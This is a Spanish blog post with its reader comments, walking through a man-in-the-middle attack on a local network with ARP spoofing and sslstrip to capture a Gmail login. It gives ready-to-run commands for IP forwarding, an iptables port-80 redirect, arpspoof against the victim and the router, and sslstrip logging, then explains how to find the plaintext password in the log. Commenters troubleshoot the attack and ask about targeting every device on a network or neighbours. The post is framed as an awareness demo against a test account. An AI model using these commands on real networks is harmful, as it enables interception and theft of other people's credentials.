Hola Bloggeros.
Para hoy les tengo una pequeña muestra de lo peligroso que puede ser estar conectados en cualquier red sin seguridad de esas que tantos nos gustan.
Para el día de hoy, voy a usar ArpSpoofing con Sslstrip para conseguir una contraseña de Gmail. Para hacer el ambiente mas controlado, he creado una cuenta llamada “pruebaarp@gmail.com”.
Y como no me gustan mucho los preámbulos vamos a ponernos a jugar.
ENTORNO
Para esta prueba lo que tenemos es lo siguiente:
1. Atacante: Es mi ordenador de mesa o Desktop que tiene Debian Wheezy. Desde repositorios se puede instalar sslstrip y dsniff para conseguir tener arpspoofing
2. Victima: La víctima es una Tablet con Android que solamente quiere ver su correo por medio del navegador.
3. El medio: El medio es mi Router Cisco DPC2425
DIRECCIONES.
Direccion del atacante: 172.26.0.2
Direccion del Router: 172.26.0.1
Direccion de la Victima: 172.26.0.8
EL ATAQUE:
Lo primero que haremos para este ataque será activar el forward para que nuestro ordenador pueda reenviar la información a la víctima sin que se de cuenta. (De lo contrario seria un ataque de denegación de servicios)
Para eso usaremos:
echo "1" > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080
arpspoof -i eth0 -t 172.26.0.8 172.26.0.1
arpspoof -i eth0 -t 172.26.0.1 172.26.0.2
sslstrip -a -w desdelinux -l 8080
Ahora si hacemos tail -f desdelinux vemos la informacion en vivo y en directo
Entonces luego como conseguimos lo que queremos?
Vamos primero a ingresar a nuestro correo en la Tablet. Mientras abre sesión vemos que en nuestra consola salen miles y miles de cosas.
Ahora que ha terminado vamos a abrir nuestro archivo “desdelinux” con nano
nano desdelinux
con Control + W bucamos algo que se llama SECURE POST.
Y vamos a ver algo como esto.
Entre esa linea enorme que no se alcanza a terminar de ver está el correo y la contraseña de la víctima.
Entonces corremos hacia la derecha hasta que por fin vemos la luz al final del túnel.
En otra ocasión veremos como nos podemos proteger un poco de estos ataques.
Saludos
27 comentarios, deja el tuyo
Aprovecho para decir que al momento de publicar el post no quedaron bien los comandos.
El comando de iptables al final le falta el 8080 que quedo en otra linea. Y luego los comandos de arpspoof quedaron todos en una misma linea. Siendo cada comando en una linea distinta.
Ojala el editor lo vea y pueda solucionarlo.
Saludos.
He hecho las correcciones que mencionas, ¿así está bien?
Si vas a insertar código en una entrada de preferencia usa la vista en HTML, y verifica que el artículo esté correcto antes de enviarlo a pendientes. Gracias.
Es escalofriante saber que los que no tenemos conocimientos somos tan vulnerables. Muy buena información aún cuando entiendo poco del tema me doy cuenta de la importancia. Gracias!
Saludos
Pero eso sólo funciona si el atacante y la víctima están en la misma red. En todo caso, me parece que si (estando en la misma red) te conectas usando HTTPS eso no pasa porque la data se encripta ANTES de salir de tu máquina. Si te conectas por HTTP (sin S) creo que hasta mirando el cable de red ves las claves.
No es cierto. Estoy hackeando una clave de gmail y gmail si te fijas usa https. Entonces? El punto es que aunque https es seguro, Depende de http. Así que no es tan seguro.
No te confies tanto de un https que la S no es por Superman es por «seguro»
funciona con o sin https, yo lo he probado con una distro de linux mas especializada y funciona sin problemas
Precisamente lo puedes usar para darle una lección a los que te roben la Wi-Fi. 😀
Es más o menos como lo que contaban hace tiempo en el blog de Chema Alonso:
http://www.elladodelmal.com/2013/04/hackeando-al-vecino-hax0r-que-me-roba.html
http://www.elladodelmal.com/2013/04/hackeando-al-vecino-hax0r-que-me-roba_5.html
Ostia, genial lo que hace!, / Y después me dicen a mi paranoico cada vez que uso el VPN cuando van a revisar la cuenta bancaria…) . Por cierto hay que ver lo cínica que es la gente en los comentarios..si al final es robar…
Ahora falta sacar un tutorial acerca de cómo crear y ofrecer su propio servicio de VPN.
Interesantisima la historia que enlazas, hasta parece digna de un libro de novela, y esto me hace recordar cuando yo utilizaba el internet de mis vecinos y aunque me digo enterado en el tema, creo que nunca pude ver las verdaderas dimensiones del peligro que pude haber pasado, afortunadamente para mi, unicamente le cambiaron la contraseña a WPA2 y ahí empezo mi historia con el ISP jaja
Por eso el titulo dice Sslstrip en accion.
Funciona, siempre que el atacante este entre el medio
¿Que onda trabajas en prism? -.-
no.
Que esperas para mandar tu solicitud XD
saludos
buen post
Interesante, haré una prueba educativa más tarde… Quizás hasta podría quitarle la contraseña al WiFi y divertirme un rato 😛
De casualidad se puede hacer algo parecido para mandar páginas diferentes a las que solicitó el objetivo? Por ejemplo, que quieran abrir Facebook y yo los redireccione a Google? 😛
Si. Pero es todo un rollo muy diferente.
Quizá lo publique más tarde.
muy buen post, estos temas son muy educativos, ahora hace falta como poder contra restar este ataque, ya que algunos (como yo) nos conectamos a redes públicas (la universidad por ejemplo) sería de ayuda como evitarlo.
Saludos!
No me funcionó 🙁
Algo me falla aquí, aparte de que las conexiones https se encriptan a traveś de un certificado del servidor (una vez tienes en tu máquina el certificado, tu navegador es el encargado de la encriptación) con iptables haces una redirección del puerto 80 (http), no del 443 que es el de https
Eso pensaba yo también. El punto es que aunque https es «seguro» depende lastimosamente de http. Entonces sslstrip aprovecha eso, le hace creer al navegador que esta usando credenciales de https pero no es asi.
holy shit! pero en el navegador deberá salir algún aviso del tipo «este certificado proviene de un sitio sospechoso o algo así»… voy a tener que hacer pruebas definitivamente XD
No, no sale absolutamente nada.
Al fin me funcionó
Estoy conectado en una red WEP con contraseña, y de todos modos me mostró la contraseña directamente.
Una consulta. ¿se puede hacer este mismo procedimiento pero para todos los equipos que estan conectados en la red, en vez de tener una sola victima?
Si se puede. Pero no he hecho experimentos. Inténtalo tú y nos cuentas que tal te va.
Lo unico que consigo con esto es que la maquina de la victima se quede sin conexion, pero el sslstrip no me muestra nada :/
Debes desactivar el cortafuegos por un momento. O al menos habilitar las conexiones entrantes.
Probe y solo pude ver el usuario y clave de la pagina de facebook, en gmail no encontre ningun resultado en el log, ademas solo me hizo falta una linea de arpspoof «arpspoof -i -t «. Por otro lado, la maquina victima no podia abrir algunas paginas. Seguire investigando, es muy interesante. Una ayuda para los que usen Manjaro, los paquetes a instalar son: dsniff (aqui esta arpspoff), twisted y python2-pyopenssl. Sslstrip lo pueden bajar de aqui: http://www.thoughtcrime.org/software/sslstrip/
Para ejecutarlo $python2 sslstrip.py
Saludos.
No salio pero la linea de arpspoof es: #arpspoof -i int -t ip-victima ip-router
mira yo hago exactamente lo que tu dices:
echo «1» > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 8080
arpspoof -i eth0 -t 172.26.0.8 172.26.0.1
arpspoof -i eth0 -t 172.26.0.1 172.26.0.2
el problema es que la víctima que es otra pc que tengo aqui en mi cuarto, se me queda sin conexión al punto tal que tengo que reiniciar el router, que puedo hacer ayúdame.
otra cosa yo estoy trabajando con una máquina virtual, y cuando ejecuto el comando iwconfig, no me aparece wlan0, ni tampoco cuando ejecuto ifconfig, sin embargo si tengo internet en mi máquina vitual lo que con una interfaz eth0.